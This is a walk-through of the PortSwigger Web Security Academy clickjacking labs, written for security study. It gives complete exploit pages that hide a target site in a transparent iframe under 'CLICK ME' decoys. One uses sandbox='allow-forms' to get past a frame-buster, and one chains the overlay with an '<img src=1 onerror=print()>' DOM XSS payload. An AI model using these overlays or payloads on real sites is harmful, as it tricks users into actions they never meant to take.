WebSecurityAcademy (PortSwigger) – Clickjacking

Walk-through of the Clickjacking lab on PortSwigger Web Security Academy.

Clickjacking is an interface-based attack in which a user is tricked into clicking on actionable content on a hidden website by clicking on some other content in a decoy website.

Apprentice – Basic clickjacking with CSRF token protection

Access the lab
  • Click on My account and enter provided credentials (wiener:peter).
  • Click on Go to exploit server.
  • Enter the following code in the Body and click Deliver exploit to victim.
<html>
    <head>
        <title>Clickjacking test page</title>
        <style>
            #target_website {
                position: relative;
                width: 1000px;
                height: 700px;
                opacity: 0.1;
                z-index: 2;
            }
            #decoy_website {
                position: absolute;
                top: 515px;
                left: 60px;
                z-index: 1;
            }
        </style>
    </head>
    <body>
        <div id="decoy_website">CLICK ME</div>
        <iframe id="target_website" src="https://vulnerable-website/my-account" scrolling="no" frameborder="none"/>
    </body>
</html>

Apprentice – Clickjacking with form input data prefilled from a URL parameter

Access the lab

Click on My account and enter provided credentials (wiener:peter).

Update the email address and inspect the request in Burp.

POST /my-account/change-email HTTP/1.1
...

email=test%40test.com&csrf=6e4BOwhzCWbOrOs5deKwGjY1wKwYdcPV

Try to prefill the email field by adding the email parameter in the URL.

https://0a3a001b03066c76c1f1dfdb00c10020.web-security-academy.net/my-account?email=hacked@example.com

Click on Go to exploit server. Enter the following code in the Body and click Deliver exploit to victim.

<html>
    <head>
        <title>Clickjacking test page</title>
        <style>
            #target_website {
                position: relative;
                width: 1000px;
                height: 700px;
                opacity: 0.1;
                z-index: 2;
            }
            #decoy_website {
                position: absolute;
                top: 470px;
                left: 60px;
                z-index: 1;
            }
        </style>
    </head>
    <body>
        <div id="decoy_website">CLICK ME</div>
        <iframe id="target_website" src="https://0a1a0071040d6ad5c1695450004500d8.web-security-academy.net/my-account?email=hacked@example.com" scrolling="no" frameborder="none"/>
    </body>
</html>

Apprentice – Clickjacking with a frame buster script

Access the lab

Click on My account and enter provided credentials (wiener:peter).

Click on Go to exploit server. Enter the following code in the Body and click Deliver exploit to victim.

<html>
    <head>
        <title>Clickjacking test page</title>
        <style>
            #target_website {
                position: relative;
                width: 1000px;
                height: 700px;
                opacity: 0.1;
                z-index: 2;
            }
            #decoy_website {
                position: absolute;
                top: 470px;
                left: 60px;
                z-index: 1;
            }
        </style>
    </head>
    <body>
        <div id="decoy_website">CLICK ME</div>
        <iframe id="target_website" src="https://0a3a000f0381171ec291980500d10054.web-security-academy.net/my-account?email=hacked@example.com" sandbox="allow-forms" scrolling="no" frameborder="none"/>
    </body>
</html>

Practitioner – Exploiting clickjacking vulnerability to trigger DOM-based XSS

Finding the DOM XSS

Click on the Submit feedback link. The script /resources/js/submitFeedback.js is vulnerable to a DOM XSS in the displayFeedbackMessage(name) function using the innerHTML sink. See lab on DOM XSS.

feedbackResult.innerHTML = "Thank you for submitting feedback" + (name ? ", " + name : "") + "!";

Submit feedback with Name:

<img src=1 onerror=print()>

Try to prefill the form.

https://0adf004d037fe819c280ad430066003b.web-security-academy.net/feedback?csrf=KkYYGddkHD77GgKXfhFezt4NZMOEroCH&name=whatever%3Cimg+src%3D1+onerror%3Dprint%28%29%3E&email=whatever%40example.com&subject=whatever&message=whatever

Click on Go to exploit server. Enter the following code in the Body and click Deliver exploit to victim. Remove the csrf token. It will be filled when the user accesses the page.

<html>
    <head>
        <title>Clickjacking test page</title>
        <style>
            #target_website {
                position: relative;
                width: 1000px;
                height: 1000px;
                opacity: 0.1;
                z-index: 2;
            }
            #decoy_website {
                position: absolute;
                top: 810px;
                left: 60px;
                z-index: 1;
            }
        </style>
    </head>
    <body>
        <div id="decoy_website">CLICK ME</div>
        <iframe id="target_website" src="https://0adf004d037fe819c280ad430066003b.web-security-academy.net/feedback?name=whatever%3Cimg+src%3D1+onerror%3Dprint%28%29%3E&email=whatever%40example.com&subject=whatever&message=whatever" scrolling="no" frameborder="none"/>
    </body>
</html>

Practitioner – Multistep clickjacking

Access the lab

Click on My account and enter provided credentials (wiener:peter).

Click on Go to exploit server. Enter the following code in the Body and click Deliver exploit to victim.

<html>
    <head>
        <title>Clickjacking test page</title>
        <style>
            #target_website {
                position: relative;
                width: 1000px;
                height: 700px;
                opacity: 0.1;
                z-index: 2;
            }
            #decoy_website_first_click {
                position: absolute;
                top: 515px;
                left: 60px;
                z-index: 1;
            }
            #decoy_website_second_click {
                position: absolute;
                top: 310px;
                left: 200px;
                z-index: 1;
            }
        </style>
    </head>
    <body>
        <div id="decoy_website_first_click">Click me first</div>
        <div id="decoy_website_second_click">Click me next</div>
        <iframe id="target_website" src="https://0a5b00390335fd50c06072000084000e.web-security-academy.net/my-account" scrolling="no" frameborder="none"/>
    </body>
</html>